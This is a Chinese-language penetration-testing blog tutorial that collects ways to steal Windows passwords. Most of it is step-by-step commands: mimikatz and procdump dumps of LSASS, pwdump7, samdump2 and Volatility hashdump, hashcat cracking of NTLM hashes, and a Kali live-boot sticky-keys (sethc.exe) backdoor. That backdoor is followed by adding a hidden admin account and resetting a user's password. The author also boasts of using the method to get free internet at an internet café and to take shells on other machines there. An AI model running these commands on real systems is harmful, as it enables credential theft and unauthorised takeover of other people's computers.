Windows 密码抓取方式总结

红蓝对抗 2019-11-10

渗透测试过程中我们经常需要获取管理员的账号密码,以便进行更进一步的操作,下面我将给大家总结几种 steal account 的手法!其中可能也会涉及到 apt 的内容,希望大家喜欢。

[本教程具有一定攻击性,仅限于教学使用,不得用于其他用途]

0x01. 利用 mimikatz 获取明文密码

实验环境:

windows 10 // (win 10 中有 defender 会杀掉我们的 mimikatz,关掉就好) mimikatz_trunk // http://blog.gentilkiwi.com/mimikatz

实验步骤:

1、首先用管理员账号运行 cmd.exe,这样才能让 mimikatz 正常运行 :)

img

2、紧接着再进入 mimikatz,运行命令

privilege::debug

sekurlsa::logonpasswords

img

img

3、此时我们就能得到 username,password 的密文,给大家推荐个网站:

https://www.somd5.com

这里可以很容易的解密大多数密文

img

0x02. 利用 procdump & mimikatz 获取密码

实验环境:

windows 7 procdump // https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump mimikatz_trunk

实验步骤:

1、首先用 procdump 下载 LSASS 进程的内存,因为 procdump 是 Microsoft Sysinternals tools 中的工具,所以 AV 是不会查杀它的(记住用管理员运行 cmd )

C:Userstimes0ngDesktopProcdumpprocdump.exe -accepteula -ma lsass.exe C:Userstimes0ngDesktoplsass.dmp

img

2、接着用 mimikatz 打开 dmp 文件,获取内存中的内容 // ( lsass.dmp 可以下载到我们本地主机再查看里面的内容,相当于离线模式 )

C:Userstimes0ngDesktopmimikatz_trunkx64mimikatz.exe

sekurlsa::minidump C:Userstime0sngDesktoplsass.dmp

sekurlsa::tspkg

img

0x03. 利用 pwdump7 获取密码

实验环境:

windows 7 pwdump7 // http://passwords.openwall.net/b/pwdump/pwdump7.zip

实验步骤:

1、直接用管理员运行 cmd,再运行 pwdump7.exe

img

2、用 hashcat 直接跑 NTLM 密码

hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt --force

img

0x04. 利用虚拟机文件获取密码

关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory:

https://github.com/giMini/PowerMemory

quarks pwdump:

https://github.com/quarkslab/quarkspwdump

等都是不错的工具,不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂,下面我将介绍其它不同于上述的方法获取 hash 密码!

接下来我们将获取 Windows 7 虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生 *.vmss*.vmem 文件!这两个文件主要是用来获取内存数据的,如果用其它工具能够获取内存数据的话完全可以不用这两个文件,例如:Memoryze:

https://www.fireeye.com/services/freeware/memoryze.html

DumpIt:

http://qpdownload.com/dumpit/

实验环境:

windows 7 挂起状态 Vmss2core // https://labs.vmware.com/flings/vmss2core#summary Volatility // http://www.volatilityfoundation.org/26

实验步骤:

1、运行 Vmss2core 解析虚拟机文件,生成 memory.dmp 文件

./vmss2core-mac64 -W /Users/apple1/Documents/Virtual Machines.localized/Windows 7 x64.vmwarevm/Windows 7 x64-89925192.vmss /Users/apple1/Documents/Virtual Machines.localized/Windows 7 x64.vmwarevm/Windows 7 x64-89925192.vmem

img

2、利用大神级取证工具 volatility 获取 SYSTEM 和 SAM 的虚拟地址,--profile=Win7SP1x64 架构一定要指定正确,不然会找不到地址

./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hivelist -f memory.dmp --profile=Win7SP1x64

img

3、接下来要做的就是获取对应地址的数据了,记住 sys-offset 和 sam-offset 指定的都是虚拟地址,别乱指什么物理地址,可以看到我这里有两个用户账号,它们的 NTML hash 都被我拿到了,随便找点工具解密就行了,上面也讲过 hashcat 解密!

./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hashdump -f memory.dmp --profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010

img

0x05. 利用 kali ISO 获取密码

这是笔者最喜欢使用的方法,也是最早掌握的方法,说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网 win7 环境我还拿到几台肉鸡 shell,不过就是玩玩没干坏事。

在开始之前我们应该先准备一个 USB 启动盘,制作方法可以看我以前的文章:

https://times0ng.github.io/2018/03/01/kali安装KVM入坑笔记/

不过我现在只是为了演示一下效果就直接使用 VM 虚拟机插入 ISO 文件模拟 USB 启动盘。

实验环境:

windows 10 kali ISO // download here

实验步骤:

1、首先将 kali ISO 镜像文件映射到 win10 虚拟机中(如果你是用 USB 启动盘插入物理机的话需要先进入 BIOS 引导界面,然后修改启动顺序,将 USB 放到硬盘之前 )

img

2、然后启动 win10 就会进入 kali 的引导界面,我们点击 Live (amd 64) 即可

img

3、进入kali之后,先查看 win10 在哪个硬盘(一般就是 size 最大的那个盘),然后将其挂载到 /mnt 目录下,之后对 /mnt 目录下的操作就相当于对 win10 进行操作了

fdisk -l && mount /dev/sda2 /mnt && cd /mnt/

img

4、挂载完之后我们先盗取账号密码【 Win10 果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上 Win7 的效果图】

cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM

hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt --force

img

img

5、虽然 win10 密码安全性加强了,但并不阻碍我们进行别的操作,下面我们使用经典的 shift 提权技术来完成进一步操作,上一篇 Windows 提权基础:

https://times0ng.github.io/2018/04/13/Windows-提权基础(下)/

讲漏了,这里补上

cd /mnt/Windows/System32/

cp cmd.exe sethc.exe

img

6、OK 现在需要做的就是关闭 kali ,将映射到 win10 的 ISO 移除,然后启动 win10,可以看到登录界面,此时我们连续快速的多次按 shift 键就能弹出命令行

img

7、我们的权限这么大,想必添加个管理员账号什么的也不成问题,下面我添加个 test 管理员账号,然后登录,一进去就碰到 win10 给我各种 Hi,看得我一脸懵逼

net user test test /add

net localgroup administrators /add test

logoff

img

8、刚才我们没能抓到 win10 的 hash,但是如果我们仍然想登录 times0ng 账号的话可以先用命令行修改密码,然后再登陆。【很尴尬,自己的 ID 都敲错了】

net user time0sng toor

img


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论